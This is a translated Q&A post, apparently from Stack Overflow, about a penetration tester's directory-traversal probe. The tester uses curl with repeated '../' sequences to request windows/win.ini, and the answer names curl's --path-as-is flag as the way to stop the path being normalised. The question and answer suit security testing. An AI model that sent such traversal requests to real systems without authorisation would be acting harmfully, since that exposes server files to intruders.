【问题标题】:Prevent curl (or wget) from removing "../" from target URL?防止 curl(或 wget)从目标 URL 中删除“../”?
【发布时间】:2018-08-21 12:18:54
【问题描述】:

在渗透测试期间,我想查询包含../ 的特定URL 是否存在目录漏洞:

curl http://eurosql2.domain.local:7002/../../../../../../../../../../../../windows/win.ini 

现在,问题是curl(和wget)通过删除所有../来截断这个URL:

* Rebuilt URL to: http://eurosql2.domain.local:7002/windows/win.ini
*   Trying 192.168.0.24...
* TCP_NODELAY set
* Connected to eurosql2.domain.local (192.168.0.24) port 7002 (#0)
> GET /windows/win.ini HTTP/1.1
> Host: eurosql2.domain.local:7002
> User-Agent: curl/7.60.0
> Accept: */*
> 
* Empty reply from server
* Connection #0 to host eurosql2.domain.local left intact
curl: (52) Empty reply from server

如何防止curl(或wget)删除这些../

【问题讨论】:

    标签: security curl wget


    【解决方案1】:

    curl 使用 --path-as-is 正是为了这个目的!

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2016-06-16
      • 2012-12-10
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多